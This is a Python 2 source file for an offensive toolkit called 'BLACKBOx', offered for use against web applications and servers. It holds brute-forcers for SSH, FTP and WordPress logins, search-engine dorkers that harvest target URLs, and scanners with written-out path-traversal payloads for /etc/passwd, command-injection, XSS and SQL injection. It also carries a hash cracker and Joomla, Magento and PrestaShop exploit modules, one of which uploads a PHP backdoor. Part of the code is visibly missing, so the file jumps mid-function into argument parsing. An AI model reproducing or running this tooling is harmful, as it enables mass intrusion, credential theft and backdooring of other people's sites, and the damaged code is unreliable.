#!/usr/bin/python2 #####################################NOTICE###################################### ### This program is free software: you can redistribute it and/or modify ### ### it under the terms of the GNU General Public License as published by ### ### the Free Software Foundation, either version 3 of the License, or ### ### (at your option) any later version. ### ### This program is distributed in the hope that it will be useful, ### ### ### ### but WITHOUT ANY WARRANTY; without even the implied warranty of ### ### MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the ### ### GNU General Public License for more details. ### ### You should have received a copy of the GNU General Public License ### ### along with this program. If not, see ### ################################################################################# ################################################################################################################################ ### I edit some tools from other repository like : ### ### JOOMLA RCE : https://www.exploit-db.com/exploits/39033/ ### ### MAGENTO RCE : https://www.exploit-db.com/exploits/37977/ ### ### PRESTASHOP EXPLOIT : http://0day.today/exploit/25260 , http://0day.today/exploit/25261 , http://0day.today/exploit/25259 ### ### ADMIN PAGE FINDER : https://packetstormsecurity.com/files/112855/Admin-Page-Finder-Script.html ### ### XSS/SQLI/RCE SCANNER FROM : https://github.com/zigoo0/webpwn3r ! ### ################################################################################################################################ import requests,json,sys, time, re, os, base64, random,hashlib,timeit,ftplib,pexpect,urllib2,urllib from sys import platform from time import gmtime, strftime from optparse import OptionParser from passlib.hash import nthash from urllib import FancyURLopener from passlib.hash import mssql2000 as m20,oracle11 as oracle11,mssql2005 as m25, mysql323, mysql41 from pexpect import pxssh from ftplib import FTP __nickname__ = 'BLACK EYE' __author__ = 'Saad Hat' __bitbucket__ = 'https://bitbucket.org/darkeye/' __emailadd__ = 'blackdoor197@riseup.net' __twitter__ = 'https://twitter.com/S44DH4T' __facebook__ = 'https://facebook.com/S44DH4T' __version__ = '2.0' __license__ = 'GPLv2' __scrname__ = 'BLACKBOx v%s' % (__version__) def __banner__(): print (color.BOLD+color.Y+" _____ __ _____ _____ _____ _____ _____ ") print (color.BOLD+color.Y+"| __ | | | _ | | | | __ | | _ _") print (color.BOLD+color.Y+"| __ -| |__| | --| -| __ -| | ||_'_|") print (color.BOLD+color.Y+"|_____|_____|__|__|_____|__|__|_____|_____||_,_|") print (color.W+color.BOLD+" {"+color.R+__version__+"#Dev"+color.W+"}"+color.ENDC) def __help__(): print (color.W+color.BOLD+"Usage : "+color.W+sys.argv[0]+color.R+" {Module}"+color.W+" -h/--help"+color.ENDC) print (color.BOLD+color.Y+"Bruteforcing : "+color.ENDC) print (color.W+"\t+ Wordpress Bruteforce : wordpress_brute | Bruteforcing WP PANEL") print (color.W+"\t+ Admin Page Finder : admin_brute | Find Admin Page") #print (color.W+"\t+ PMA Page Finder : pma_brute | Find PhpMyAdmin Page") print (color.W+"\t+ SSH Bruteforce : ssh_brute | Bruteforcing SSH LOGIN") print (color.W+"\t+ FTP Bruteforce : ftp_brute | Bruteforcing FTP LOGIN") print (color.W+color.BOLD+color.Y+"Information Gathering : "+color.ENDC) print (color.W+"\t+ Dnsinfo : dns_info | Get All Website from IP") print (color.W+color.BOLD+color.Y+"Exploit : "+color.ENDC) print (color.W+"\t+ Joomla Rce : rce_joomla | 1.5 - 3.4.5 remote code execution") print (color.W+"\t+ Magento Rce : rce_magento | Magento eCommerce - Remote Code Execution") print (color.W+"\t+ PrestaShop Exploit : presta_exploit | Prestashop Multi Modules Arbitrary File Upload Exploit") print (color.W+color.BOLD+color.Y+"Dorking : "+color.ENDC) print (color.W+"\t+ Google Dorker : google_dorker(LFI/RCE/XSS/SQLi) | Google Dorker ") print (color.W+"\t+ Bing Dorker : bing_dorker(LFI/RCE/XSS/SQLi) | Bing Dorker via IP") print (color.W+"\t+ Scan List : scan_list(LFI/RCE/XSS/SQLi) | Scan url in list !") print (color.W+color.BOLD+color.Y+"Cracking : "+color.ENDC) print (color.W+"\t+ Crack Hash MD5-SHA512 : hash_killer | Crack Hash\n\t\t SHA1-SHA224\n\t\t SHA256-SHA384\n\t\t MSSQL2000-MSSQL2005\n\t\t MYSQL41-ORACLE11\n\t\t MYSQL323 HASHs") def __update__(): pass class color: P = '\033[95m' # purple B = '\033[94m' # Blue BOLD = '\033[1m' # Bold G = '\033[92m' # Green Y = '\033[93m' # Yellow R = '\033[91m' # Red W = '\033[97m' # White BL = '\033[90m' # Black M = '\033[95m' # Magenta C = '\033[96m' # Cyan ENDC = '\033[0m' # end colors if sys.platform == 'win32': P = '' # purple B = '' # Blue BOLD = '' # Bold G = '' # Green Y = '' # Yellow R = '' # Red W = '' # White BL = '' # Black M = '' # Magenta C = '' # Cyan ENDC = '' # end colors ### ###SCANNER TOOLS ### #################################### ## ## ## LFI/SQLI/RCE/XSS ## ## ## #################################### class UserAgent(FancyURLopener): version = 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:22.0) Gecko/20100101 Firefox/22.0' useragent = UserAgent() class HTTP_HEADER: HOST = "Host" SERVER = "Server" class scanner: burl,gurl = [],[] def headers_reader(self,url): print color.BOLD+"\t[!] Fingerprinting the backend Technologies."+color.ENDC opener = urllib.urlopen(url) if opener.code == 200: print color.G+"\t[!] Status code: 200 OK"+color.ENDC if opener.code == 404: print color.R+"\t[!] Page was not found! Please check the URL \n"+color.ENDC exit() Server = opener.headers.get(HTTP_HEADER.SERVER) Host = url.split("/")[2] print color.G+"\t[!] Host: " + str(Host) +color.ENDC print color.G+"\t[!] WebServer: " + str(Server) +color.ENDC for item in opener.headers.items(): for powered in item: sig = "x-powered-by" if sig in item: print color.G+ "\t[!] " + str(powered).strip() + color.ENDC def lfi(self, url): payloads=["../etc/passwd","../etc/passwd%00","../../etc/passwd","../../etc/passwd%00","../../../etc/passwd","../../../etc/passwd%00","../../../../etc/passwd","../../../../etc/passwd%00","../../../../../etc/passwd","../../../../../etc/passwd%00","../../../../../../etc/passwd","../../../../../../etc/passwd%00","../../../../../../../etc/passwd","../../../../../../../etc/passwd%00","../../../../../../../../etc/passwd","../../../../../../../../etc/passwd%00","../../../../../../../../../etc/passwd","../../../../../../../../../etc/passwd%00","../../../../../../../../../../etc/passwd","../../../../../../../../../../etc/passwd%00","../../../../../../../../../../../etc/passwd","../../../../../../../../../../../etc/passwd%00","../../../../../../../../../../../../etc/passwd","../../../../../../../../../../../../etc/passwd%00","..%2Fetc%2Fpasswd","..%2Fetc%2Fpasswd%2500","..%2F..%2Fetc%2Fpasswd","..%2F..%2Fetc%2Fpasswd%2500","..%2F..%2F..%2Fetc%2Fpasswd","..%2F..%2F..%2Fetc%2Fpasswd%2500","..%2F..%2F..%2F..%2Fetc%2Fpasswd","..%2F..%2F..%2F..%2Fetc%2Fpasswd%2500","..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd","..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%2500","..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd","..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%2500","..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd","..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%2500","..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd","..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%2500","..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd","..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%2500","..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd","..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%2500","..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd","..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%2500","..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd","..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%2500"] lfi = re.findall(r'=(.*)', url) for i in lfi: print (color.R+color.BOLD+"[+] "+color.W+"TARGET : "+url+color.ENDC) l=re.sub(i, '', url) vuln = 0 for payload in payloads: payload=payload.strip() print (color.G+color.BOLD+"\t[+] "+color.W+" Payload : "+payload+color.ENDC) lfii = l+payload r = requests.get(lfii) html = r.content if "root" in html: print (color.R+color.BOLD+"\t[+] "+color.R+" LFI FOUND : "+lfii+color.ENDC) vuln+=1 else: print (color.B+color.BOLD+"\t[+] "+color.B+" NOT FOUND : "+lfii+color.ENDC) pass print color.W+"[!] %i LFI FOUNDED " % (vuln) +color.ENDC def run(self,url, payloads, check): opener = requests.get(url) vuln = 0 print color.B+"[+] "+color.W+"Target : "+url+color.ENDC #print color.B+"\t[+] "+color.W+"IP : "+socket.gethostbyname(url)+color.ENDC if opener.status_code == 999: print color.R +" [~] WebKnight WAF Detected!"+color.ENDC print color.R +" [~] Delaying 3 seconds between every request"+color.ENDC time.sleep(3) for params in url.split("?")[1].split("&"): for payload in payloads: bugs = url.replace(params, params + str(payload).strip()) request = useragent.open(bugs) html = request.readlines() for line in html: checker = re.findall(check, line) if len(checker) !=0: print color.R+"\t[*] Payload : " ,payload +color.ENDC print color.B+"\t[*] FOUND : "+color.ENDC + bugs vuln +=1 if vuln == 0: print color.G+"\t[!] Target is not vulnerable!"+color.ENDC else: print color.C+"\t[!] %i bugs :-) " % (vuln) +color.ENDC def rce(self,url): self.headers_reader(url) payloads = [';${@print(md5(zigoo0))}', ';${@print(md5("zigoo0"))}'] payloads += ['%253B%2524%257B%2540print%2528md5%2528%2522zigoo0%2522%2529%2529%257D%253B'] payloads += [';uname;', '&&dir', '&&type C:\\boot.ini', ';phpinfo();', ';phpinfo'] check = re.compile("51107ed95250b4099a0f481221d56497|Linux|eval\(\)|SERVER_ADDR|Volume.+Serial|\[boot", re.I) self.run(url, payloads, check) def xss(self,url): payloads = ['%27%3Ezigoo0%3Csvg%2Fonload%3Dconfirm%28%2Fzigoo0%2F%29%3Eweb', '%78%22%78%3e%78'] payloads += ['%22%3Ezigoo0%3Csvg%2Fonload%3Dconfirm%28%2Fzigoo0%2F%29%3Eweb', 'zigoo0%3Csvg%2Fonload%3Dconfirm%28%2Fzigoo0%2F%29%3Eweb'] check = re.compile('zigoo0x', re.I) self.run(url, payloads, check) def sqli(self,url): payloads = ["3'", "3%5c", "3%27%22%28%29", "3'><", "3%22%5C%27%5C%22%29%3B%7C%5D%2A%7B%250d%250a%3C%2500%3E%25bf%2527%27"] check = re.compile("SQL syntax|Incorrect syntax|Syntax error|Unclosed.+mark|unterminated.+qoute|SQL.+Server|Microsoft.+Database|Fatal.+error", re.I) self.run(url, payloads, check) ### ###DORKING TOOLS ### #################################### ## ## ## DORKER ## ## ## #################################### class dorker: gurl,burl=[],[] def google(self, dork, start, stop): from cookielib import LWPCookieJar from urllib2 import Request, urlopen from urlparse import urlparse, parse_qs home_folder = os.getenv('HOME') if not home_folder: home_folder = os.getenv('USERHOME') if not home_folder: home_folder = '.' cookie_jar = LWPCookieJar(os.path.join(home_folder, '.google-cookie')) try: cookie_jar.load() except Exception: pass def randomm(): tld = ['ae', 'am', 'as', 'at','az', 'ba', 'be', 'bg','bi', 'bs', 'ca', 'cd','cg', 'ch', 'ci', 'cl','co.bw', 'co.ck', 'co.cr', 'co.hu','co.id', 'co.il', 'co.im', 'co.in','co.je', 'co.jp', 'co.ke', 'co.kr','co.ls', 'co.ma', 'co.nz', 'co.th','co.ug', 'co.uk', 'co.uz', 'co.ve','co.vi', 'co.za', 'co.zm', 'com','com.af', 'com.ag', 'com.ar', 'com.au','com.bd', 'com.bo', 'com.br', 'com.bz','com.co', 'com.cu', 'com.do', 'com.ec','com.eg', 'com.et', 'com.fj', 'com.gi','com.gt', 'com.hk', 'com.jm', 'com.kw','com.ly', 'com.mt', 'com.mx', 'com.my','com.na', 'com.nf', 'com.ni', 'com.np','com.om', 'com.pa', 'com.pe', 'com.ph','com.pk', 'com.pr', 'com.py', 'com.qa','com.sa', 'com.sb', 'com.sg', 'com.sv','com.tj', 'com.tr', 'com.tw', 'com.ua','com.uy', 'com.uz', 'com.vc', 'com.vn','cz', 'de', 'dj', 'dk','dm', 'ee', 'es', 'fi','fm', 'fr', 'gg', 'gl','gm', 'gr', 'hn', 'hr','ht', 'hu', 'ie', 'is','it', 'jo', 'kg', 'kz','li', 'lk', 'lt', 'lu','lv', 'md', 'mn', 'ms','mu', 'mw', 'net','nl','no', 'nr', 'nu', 'pl','pn', 'pt', 'ro', 'ru','rw', 'sc', 'se', 'sh','si', 'sk', 'sm', 'sn','tm', 'to', 'tp', 'tt','uz', 'vg', 'vu', 'ws'] tld_rand = random.sample(tld, 1) for tldd in tld_rand: return tldd def html(url): request = Request(url) request.add_header('User-Agent', 'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)') cookie_jar.add_cookie_header(request) response = urlopen(request) cookie_jar.extract_cookies(response, request) html = response.read() response.close() cookie_jar.save() return html def run(dork, start, stop): tldd = randomm() while start\s+(.*?) 0): for error in errors: print (color.BOLD+error+color.ENDC) if (arg == "dns_info"): di_hp = color.W+color.BOLD+sys.argv[0]+" dns_info --ip [IP] --yougetsignal/--viewdns/--hackertarget [SELECT JUST ONE SERVICE!] \nExample: "+sys.argv[0]+" dns_info --ip google.com --yougetsignal"+color.ENDC parser = OptionParser(usage=di_hp) parser.add_option("--ip", help="Parse IP address") parser.add_option("--yougetsignal","-y", help="Get website from yougetsignal",action="store_true") parser.add_option("--viewdns","-v", help="Get website from viewdns",action="store_true") parser.add_option("--hackertarget","-t", help="Get website from hackertarget",action="store_true") (options,args) = parser.parse_args() ip = options.ip yougetsignal = options.yougetsignal viewdns = options.viewdns hackertarget = options.hackertarget if ip and yougetsignal==True: dnsinfo().yougetsignal(ip) if ip and viewdns==True: dnsinfo().viewdns(ip) if ip and hackertarget==True: dnsinfo().hackertarget(ip) errors = [] if (ip == None): errors.append("[-] No IP specified.") if (viewdns or hackertarget or yougetsignal == None): errors.append("[-] No SERVICE specified.") if (len(errors) > 0): for error in errors: print (color.BOLD+error+color.ENDC) if (arg=="rce_joomla"): rj_hp = color.W+color.BOLD+sys.argv[0]+" rce_joomla -w/--wordlist [SELECT PATH OF URLs SAVED IN WORDLIST]\nExample: "+sys.argv[0]+" rce_joomla -w joomla3.txt"+color.ENDC parser = OptionParser(usage=rj_hp) parser.add_option("--wordlist","-w", help="wordlist path") (options,args) = parser.parse_args() wordlist = options.wordlist if wordlist: exploit().joomla(wordlist) errors = [] if (wordlist == None): errors.append("[-] No WORDLIST specified.") if (len(errors) > 0): for error in errors: print (color.BOLD+error+color.ENDC) if (arg=="rce_magento"): rm_hp = color.W+color.BOLD+sys.argv[0]+" rce_magento -w/--wordlist [SELECT PATH OF URLs SAVED IN WORDLIST]\nExample: "+sys.argv[0]+" rce_magento -w magento.txt"+color.ENDC parser = OptionParser(usage=rm_hp) parser.add_option("--wordlist","-w", help="Wordlist path") (options,args) = parser.parse_args() wordlist = options.wordlist if wordlist: exploit().magento(wordlist) errors = [] if (wordlist == None): errors.append("[-] No WORDLIST specified.") if (len(errors) > 0): for error in errors: print (color.BOLD+error+color.ENDC) if (arg=="google_dorker"): gd_hp = color.W+color.BOLD+sys.argv[0]+' google_dorker -d/--dork="[DORK]" --level [NUMBER OF PAGE] --lfi [IF YOU WANT TO SCAN WEBSITE FROM LFI!]\nExample: '+sys.argv[0]+' google_dorker --dork="php?id=" --level 10 '+color.ENDC parser = OptionParser(usage=gd_hp) parser.add_option("--dork","-d", help="Dork for get URL") parser.add_option("--level",type=int,default=10, help="Number of page to stop") parser.add_option("--lfi", help="Scan Founded website from LFI", action="store_true") parser.add_option("--sqli", help="Scan Founded website from SQLi", action="store_true") parser.add_option("--rce", help="Scan Founded website from RCE", action="store_true") parser.add_option("--xss", help="Scan Founded website from XSS", action="store_true") (options,args) = parser.parse_args() dork = options.dork level = options.level lfi = options.lfi sqli = options.sqli rce = options.rce xss = options.xss if dork and level is not None: dorker().google(dork, 0, level) if dork and level is not None and lfi==True: print (color.R+color.BOLD+"LFI Scanner : "+color.ENDC) gurl= dorker().gurl for urll in gurl: urll= urll.strip() scanner().lfi(urll) if dork and level is not None and sqli==True: print (color.R+color.BOLD+"SQLi Scanner : "+color.ENDC) gurl= dorker().gurl for urll in gurl: urll= urll.strip() scanner().sqli(urll) if dork and level is not None and rce==True: print (color.R+color.BOLD+"RCE Scanner : "+color.ENDC) gurl= dorker().gurl for urll in gurl: urll= urll.strip() scanner().rce(urll) if dork and level is not None and xss==True: print (color.R+color.BOLD+"XSS Scanner : "+color.ENDC) gurl= dorker().gurl for urll in gurl: urll= urll.strip() scanner().xss(urll) errors = [] if (dork == None): errors.append("[-] No DORK specified.") if (level == None): errors.append("[-] No PAGE specified.") if (len(errors) > 0): for error in errors: print (color.BOLD+error+color.ENDC) if (arg=="bing_dorker"): gd_hp = color.W+color.BOLD+sys.argv[0]+' bing_dorker --ip [IP OF TARGET] -d/--dork="[DORK]" --lfi [IF YOU WANT TO SCAN WEBSITE FROM LFI!]\nExample: '+sys.argv[0]+' bing_dorker --ip 192.xx.xxx.xxx --dork="php?id="'+color.ENDC parser = OptionParser(usage=gd_hp) parser.add_option("--ip") parser.add_option("--dork","-d", help="Dork for get URL") parser.add_option("--lfi", help="Scan Founded website from LFI", action="store_true") parser.add_option("--sqli", help="Scan Founded website from SQLi", action="store_true") parser.add_option("--rce", help="Scan Founded website from RCE", action="store_true") parser.add_option("--xss", help="Scan Founded website from XSS", action="store_true") (options,args) = parser.parse_args() ip = options.ip dork = options.dork lfi = options.lfi sqli = options.sqli rce = options.rce xss = options.xss if ip and dork: dorker().bing(ip,dork) if ip and dork and lfi==True: print (color.R+color.BOLD+"LFI Scanner : "+color.ENDC) burl= dorker().burl for urll in burl: urll= urll.strip() scanner().lfi(urll) if ip and dork and sqli==True: print (color.R+color.BOLD+"SQLi Scanner : "+color.ENDC) burl= dorker().burl for urll in burl: urll= urll.strip() scanner().sqli(urll) if ip and dork and rce==True: print (color.R+color.BOLD+"RCE Scanner : "+color.ENDC) burl= dorker().burl for urll in burl: urll= urll.strip() scanner().rce(urll) if ip and dork and xss==True: print (color.R+color.BOLD+"XSS Scanner : "+color.ENDC) burl= dorker().burl for urll in burl: urll= urll.strip() scanner().xss(urll) errors = [] if (ip == None): errors.append("[-] No IP specified.") if (dork == None): errors.append("[-] No DORK specified.") if (len(errors) > 0): for error in errors: print (color.BOLD+error+color.ENDC) if (arg=="hash_killer"): hk_hp = color.W+color.BOLD+sys.argv[0]+' hash_killer -w/--wordlist [PATH OF WORDLIST] --md5 or --sha1 etc... [PATH OF HASHs]\nExample: '+sys.argv[0]+' -w /root/rockyou.txt --md5 hash.txt'+color.ENDC parser = OptionParser(usage=hk_hp) parser.add_option("-w","--wordlist",help="Path Of Wordlist !") parser.add_option("--md5", help="Path of MD5 hash") parser.add_option("--sha1", help="Path of SHA1 hash") parser.add_option("--sha224", help="Path of SHA224 hash") parser.add_option("--sha256", help="Path of SHA256 hash") parser.add_option("--sha384", help="Path of SHA384 hash") parser.add_option("--sha512", help="Path of SHA512 hash") parser.add_option("--ntlm", help="Path of NTLM hash") parser.add_option("--mssql2000", help="Path of MSSQL2000 hash") parser.add_option("--mssql2005", help="Path of MSSQL2005 hash") parser.add_option("--mysql323", help="Path of MYSQL323 hash") parser.add_option("--mysql41", help="Path of MYSQL41 hash") parser.add_option("--oracle11", help="Path of ORACLE11 hash") (options,args) = parser.parse_args() wordlist = options.wordlist md5 = options.md5 sha1 = options.sha1 sha224 = options.sha224 sha256 = options.sha256 sha384 = options.sha384 sha512 = options.sha512 ntlm = options.ntlm mssql2000 = options.mssql2000 mssql2005 = options.mssql2005 mysql323 = options.mysql323 mysql41 = options.mysql41 oracle11 = options.oracle11 crack = cracker() if md5 and wordlist: crack.md5(wordlist, md5) if sha1 and wordlist: crack.sha1(wordlist, sha1) if sha224 and wordlist: crack.sha224(wordlist, sha224) if sha256 and wordlist: crack.sha256(wordlist, sha256) if sha384 and wordlist: crack.sha384(wordlist, sha384) if sha512 and wordlist: crack.sha512(wordlist, sha512) if ntlm and wordlist: crack.ntlm(ntlm,wordlist) if mssql2000 and wordlist: crack.mssql2000(mssql2000,wordlist) if mssql2005 and wordlist: crack.mssql2005(mssql2005,wordlist) if mysql323 and wordlist: crack.mysql323(mysql323,wordlist) if mysql41 and wordlist: crack.mysql41(mysql41,wordlist) if oracle11 and wordlist: crack.oracle11(oracle11,wordlist) errors=[] if (wordlist == None): errors.append("[-] No WORLIST specified.") if (md5 or sha1 or sha224 or sha256 or sha384 or sha512 or ntlm or mssql2000 or mssql2005 or mysql323 or mysql41 or oracle11 == None): errors.append("[-] No PATH OF HASHs specified.") if (len(errors) > 0): for error in errors: print (color.BOLD+error+color.ENDC) if (arg=="-u" or arg=="--update"): __update__() if (arg=="presta_exploit"): pe_hp = color.W+color.BOLD+sys.argv[0]+' presta_exploit -l/--lists [PATH OF WORDLIST] -s/--script [PATH OF .php BACKDOOR]\nExample: '+sys.argv[0]+' presta_exploit -l prestalinks.txt -s upload.php'+color.ENDC parser = OptionParser(usage=pe_hp) parser.add_option("--lists","-l", help="wordlist path") parser.add_option("--script","-s", help="Path of php backdoor") (options,args) = parser.parse_args() lists = options.lists script = options.script if lists and script: exploit().presta_run(lists,script) errors=[] if (lists == None): errors.append("[-] No LISTS specified.") if (script == None): errors.append("[-] No SCRIPT BACKDOOR .php specified.") if (len(errors) > 0): for error in errors: print (color.BOLD+error+color.ENDC) if (arg=="ftp_brute"): fb_hp = color.W+color.BOLD+sys.argv[0]+' ftp_brute --ip [IP ADDRESS] -u/--username [USERNAME OF FTP LOGIN] -w/--wordlist [PATH OF WORDLIST]\nExample: '+sys.argv[0]+' ftp_brute --ip 192.168.xxx.xx -u root -w password.txt'+color.ENDC parser = OptionParser(usage=fb_hp) parser.add_option("--ip", help="IP address Of FTP SERVER") parser.add_option("--username","-u", help="USERNAME OF FTP SERVER") parser.add_option("--wordlist","-w", help="WORDLIST PATH") (options,args) = parser.parse_args() ip = options.ip username = options.username wordlist = options.wordlist if ip and username and wordlist: print (color.Y+color.BOLD+"[+]"+color.ENDC+color.BOLD+" USERNAME : "+username+color.ENDC) print (color.Y+color.BOLD+"[+]"+color.ENDC+color.BOLD+" WORDLIST : "+wordlist+color.ENDC) wordlist = open(wordlist,"r") wordlist = wordlist.readlines() for password in wordlist: password=password.strip() BruteForce().ftp_brute(ip,username,password) errors=[] if (ip == None): errors.append("[-] No IP specified.") if (username == None): errors.append("[-] No USERNAME specified.") if (wordlist == None): errors.append("[-] No WORDLIST specified.") if (len(errors) > 0): for error in errors: print (color.BOLD+error+color.ENDC) if (arg=="ssh_brute"): sb_hp = color.W+color.BOLD+sys.argv[0]+' ssh_brute --ip [IP ADDRESS] -u/--username [USERNAME OF SSH LOGIN] -w/--wordlist [PATH OF WORDLIST]\nExample: '+sys.argv[0]+' ssh_brute --ip 192.168.xxx.xx -u root -w password.txt'+color.ENDC parser = OptionParser(usage=sb_hp) parser.add_option("--ip", help="IP address Of SSH SERVER") parser.add_option("--username","-u", help="USERNAME OF SSH SERVER") parser.add_option("--wordlist","-w", help="WORDLIST PATH") (options,args) = parser.parse_args() ip = options.ip username = options.username wordlist = options.wordlist if ip and username and wordlist: print (color.Y+color.BOLD+"[+]"+color.ENDC+color.BOLD+" USERNAME : "+username+color.ENDC) print (color.Y+color.BOLD+"[+]"+color.ENDC+color.BOLD+" WORDLIST : "+wordlist+color.ENDC) wordlist = open(wordlist,"r") wordlist = wordlist.readlines() for password in wordlist: password=password.strip() BruteForce().ssh_brute(ip,username,password) errors=[] if (ip == None): errors.append("[-] No IP specified.") if (username == None): errors.append("[-] No USERNAME specified.") if (wordlist == None): errors.append("[-] No WORDLIST specified.") if (len(errors) > 0): for error in errors: print (color.BOLD+error+color.ENDC) if (arg=="admin_brute"): ab_hp = color.W+color.BOLD+sys.argv[0]+' admin_brute -u/--url [URL] --php --asp --cfm etc... [WEB]\nExample: '+sys.argv[0]+' admin_brute http://google.com --php'+color.ENDC parser = OptionParser(usage=ab_hp) parser.add_option("--url","-u", help="URL FOR GET ADMIN PANEL") parser.add_option("--php", action="store_true") parser.add_option("--asp", action="store_true") parser.add_option("--cfm", action="store_true") parser.add_option("--js", action="store_true") parser.add_option("--cgi", action="store_true") parser.add_option("--brf", action="store_true") (options,args) = parser.parse_args() url = options.url php = options.php asp = options.asp cfm = options.cfm js = options.js cgi = options.cgi brf = options.brf if url and php==True: print (color.C+color.BOLD+"[+]"+color.ENDC+color.BOLD+" URL : "+url+color.ENDC) print (color.C+color.BOLD+"[+]"+color.ENDC+color.BOLD+" SOURCE : PHP"+color.ENDC) admin_finder().php_admin(url) if url and asp==True: print (color.C+color.BOLD+"[+]"+color.ENDC+color.BOLD+" URL : "+url+color.ENDC) print (color.C+color.BOLD+"[+]"+color.ENDC+color.BOLD+" SOURCE : ASP"+color.ENDC) admin_finder().asp_admin(url) if url and cfm==True: print (color.C+color.BOLD+"[+]"+color.ENDC+color.BOLD+" URL : "+url+color.ENDC) print (color.C+color.BOLD+"[+]"+color.ENDC+color.BOLD+" SOURCE : CFM"+color.ENDC) admin_finder().cfm_admin(url) if url and js==True: print (color.C+color.BOLD+"[+]"+color.ENDC+color.BOLD+" URL : "+url+color.ENDC) print (color.C+color.BOLD+"[+]"+color.ENDC+color.BOLD+" SOURCE : JS"+color.ENDC) admin_finder().js_admin(url) if url and cgi==True: print (color.C+color.BOLD+"[+]"+color.ENDC+color.BOLD+" URL : "+url+color.ENDC) print (color.C+color.BOLD+"[+]"+color.ENDC+color.BOLD+" SOURCE : CGI"+color.ENDC) admin_finder().cgi_admin(url) if url and brf==True: print (color.C+color.BOLD+"[+]"+color.ENDC+color.BOLD+" URL : "+url+color.ENDC) print (color.C+color.BOLD+"[+]"+color.ENDC+color.BOLD+" SOURCE : BRF"+color.ENDC) admin_finder().brf_admin(url) errors=[] if (ip == None): errors.append("[-] No IP specified.") if (php or asp or cfm or js or cgi or brf == None): errors.append("[-] No SCRIPT specified.") if (len(errors) > 0): for error in errors: print (color.BOLD+error+color.ENDC) if (arg=="scan_list"): sl_hp = color.W+color.BOLD+sys.argv[0]+' scan_list -l/--list [PATH] --[LFI/SQLi/RCE/XSS]\nExample: '+sys.argv[0]+' scan_list /path/to/list --sqli'+color.ENDC parser = OptionParser(usage=sl_hp) parser.add_option("--lists","-l", help="LIST COUNTAIN URLs !") parser.add_option("--sqli", help="Scan Founded website from SQLi", action="store_true") parser.add_option("--xss", help="Scan Founded website from XSS", action="store_true") parser.add_option("--rce", help="Scan Founded website from RCE", action="store_true") parser.add_option("--lfi", help="Scan Founded website from LFI", action="store_true") (options,args) = parser.parse_args() lists = options.lists sqli = options.sqli xss = options.xss rce = options.rce lfi = options.lfi if lists and sqli==True: print (color.R+color.BOLD+"SQLi Scanner : "+color.ENDC) lists = open(lists, "r") lists = lists.readlines() for i in lists: i=i.strip() scanner().sqli(i) if lists and xss==True: print (color.R+color.BOLD+"XSS Scanner : "+color.ENDC) lists = open(lists, "r") lists = lists.readlines() for i in lists: i=i.strip() scanner().xss(i) if lists and rce==True: print (color.R+color.BOLD+"RCE Scanner : "+color.ENDC) lists = open(lists, "r") lists = lists.readlines() for i in lists: i=i.strip() scanner().rce(i) if lists and lfi==True: print (color.R+color.BOLD+"LFI Scanner : "+color.ENDC) lists = open(lists, "r") lists = lists.readlines() for i in lists: i=i.strip() scanner().lfi(i) if __name__ == '__main__': try: __main__() except KeyboardInterrupt: print (color.BOLD+color.Y+"Exiting Now !"+color.ENDC) sys.exit(0) except urllib2.HTTPError: print (color.BOLD+color.Y+"Error, Retry Later ! (Urllib2 HTTPError)"+color.ENDC)